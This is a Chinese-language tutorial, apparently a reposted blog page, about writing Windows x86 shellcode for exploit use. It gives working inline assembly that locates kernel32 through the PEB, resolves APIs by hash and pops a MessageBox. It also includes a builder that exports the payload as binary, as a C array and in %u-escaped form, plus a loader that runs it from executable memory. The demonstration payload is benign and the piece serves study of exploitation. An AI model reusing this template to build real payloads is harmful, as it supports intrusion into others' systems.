赞
踩
shellcode是一段可独立运行的汇编代码,常出现在漏洞利用中。当我们利用漏洞控制了eip后,就需要shellcode来执行我们想要做的任何事。
shellcode用到的api都是通过动态加载而来的,可以通过fs:[30h]找到PEB中的Ldr结构。在Ldr中记录有dll加载链,从而找到Kernel32。然后通过LoadLibraryA加载任何你想要加载的dll模块。
所有API均通过dll中的EAT导出表查询获得。以下面就是一个用来生成弹出MessageBox的shellcode样本,可以用来测试漏洞利用。
//构建生成Shellcode代码之下载文件 void BuildShellcodeMessageBox() { goto GetShellcode; __asm { sc_start: /* * Shellcode基本模块 * 查找Kernel32基址 */ xor ecx, ecx mov ecx, dword ptr fs : [30h] mov ecx, dword ptr[ecx + 0Ch] mov esi, dword ptr[ecx + 1Ch] sc_goonKernel : mov eax, dword ptr[esi + 8] mov ebx, dword ptr[esi + 20h] mov esi, dword ptr[esi] cmp dword ptr[ebx + 0Ch], 0x00320033 jnz sc_goonKernel mov ebx, eax /* * Shellcode基本模块 * 查找API地址 */ jmp DataArea backToMain : pop ebp //获取Kernel32中的地址 //为ebx赋值DLL基址,为edi赋值Hash值地址,为ecx赋值API数量 mov edi, ebp mov ecx, 01h FindApi_loop : call FindApi loop FindApi_loop //调用LoadLibraryA加载user32 push 0x00003233 push 0x72657375 mov eax, esp push eax call dword ptr[ebp] mov ebx, eax pop eax pop eax //获取user32中API的地址 call FindApi /* * Shellcode功能模块 * 弹出MessageBox */ push 0x00 push 0x74736574 mov eax, esp push 0x00 push 0x6c6f6f63 mov ebx, esp push MB_OK push eax push ebx push 0x00 call [ebp+4h] pop eax pop eax /* * Shellcode 基本模块 * 查找API地址 */ FindApi: push ecx push ebp mov esi, dword ptr[ebx + 3Ch] mov esi, dword ptr[esi + ebx + 78h] add esi, ebx push esi mov esi, dword ptr[esi + 20h] add esi, ebx xor ecx, ecx dec ecx Find_Loop : inc ecx lods dword ptr[esi] add eax, ebx xor ebp, ebp //计算Hash值 Hash_Loop : movsx edx, byte ptr[eax] cmp dl, dh je hash_OK ror ebp, 7 add ebp, edx inc eax jmp Hash_Loop hash_OK : //判断Hash值是否相等 cmp ebp, dword ptr[edi] jnz Find_Loop pop esi mov ebp, dword ptr[esi + 24h] add ebp, ebx mov cx, word ptr[ebp + ecx * 2] mov ebp, dword ptr[esi + 1Ch] add ebp, ebx mov eax, dword ptr[ebp + ecx * 4] add eax, ebx stos dword ptr es : [edi] pop ebp pop ecx retn DataArea : call backToMain //在此处填入Hash值及其他参数 sc_end : } GetShellcode: DWORD scStart = 0; DWORD scEnd = 0; __asm { mov scStart, offset sc_start mov scEnd, offset sc_end } DWORD scLen = scEnd - scStart; char Datas[] = "\x32\x74\x91\x0c" //ebp, Kernel32.LoadLibraryA "\x6A\x0A\x38\x1E" //ebp+4h, user32.MessageBoxA "\x00\x00"; int newscBuff_length = scLen + sizeof(Datas); unsigned char *newscBuff = new unsigned char[newscBuff_length]; memset(newscBuff, 0x00, newscBuff_length); memcpy(newscBuff, (unsigned char*)scStart, scLen); memcpy((unsigned char*)(newscBuff + scLen), Datas, sizeof(Datas)); int i = 0; //对Shellcode进行加密,在需要时使用 /* unsigned char xxx; for(i = 0; i<newscBuff_length; i++) { xxx = ((unsigned char*)newscBuff)[i]; xxx = xxx ^ 0x00; newscBuff[i] = xxx; } */ FILE *fp = fopen("./Shellcode_bin.bin", "wb+"); fwrite(newscBuff, newscBuff_length, 1, fp); fclose(fp); FILE *fp_cpp = fopen("./Shellcode_cpp.cpp", "wb+"); fwrite("unsigned char sc[] = {", 22, 1, fp_cpp); for (i = 0; i < newscBuff_length; i++) { if (i % 16 == 0) { fwrite("\r\n", 2, 1, fp_cpp); } fprintf(fp_cpp, "0x%02x,", newscBuff[i]); } fwrite("};", 2, 1, fp_cpp); fclose(fp_cpp); FILE *fp_unicode = fopen("./Shellcode_unmescape.txt", "wb+"); for (i = 0; i < newscBuff_length; i += 2) { fprintf(fp_unicode, "%%u%02x%02x", newscBuff[i + 1], newscBuff[i]); } fclose(fp_unicode); delete[] newscBuff; printf("Build complete!\n"); return; }
在上面的代码中,搜索API名称用的是一种简单的hash对比,而不是直接搜索字符串的。这是为了最大程度的减少去shellcode代码量。漏洞利用之中,空间是无比珍贵的,所以要尽可能的减少代码量。
下面的代码是用来生成函数名对应hash的算法:
//计算函数名的Hash值 DWORD caclFuncNameHash(char* strFunc) { DWORD dwFuncHash = 0; __asm { xor ecx, ecx mov eax, strFunc Hash_Loop1 : movsx edx, byte ptr[eax] cmp dl, dh je hash_OK1 ror ecx, 7 add ecx, edx inc eax jmp Hash_Loop1 hash_OK1 : mov dwFuncHash, ecx } return dwFuncHash; }
Shellcode_bin.bin文件就是二进制版的shellcode代码。
下面给出测试shellcode代码的方法:
//测试ShellCode void TestShellcode() { HANDLE fp; unsigned char* fBuffer; DWORD fSize, dwSize; fp = CreateFile("./Shellcode_bin.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); fSize = GetFileSize(fp, 0); fBuffer = (unsigned char*)VirtualAlloc(NULL, fSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); ReadFile(fp, fBuffer, fSize, &dwSize, 0); CloseHandle(fp); __asm { pushad mov eax, fBuffer call eax popad } printf("测试ShellCode完成\n"); }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。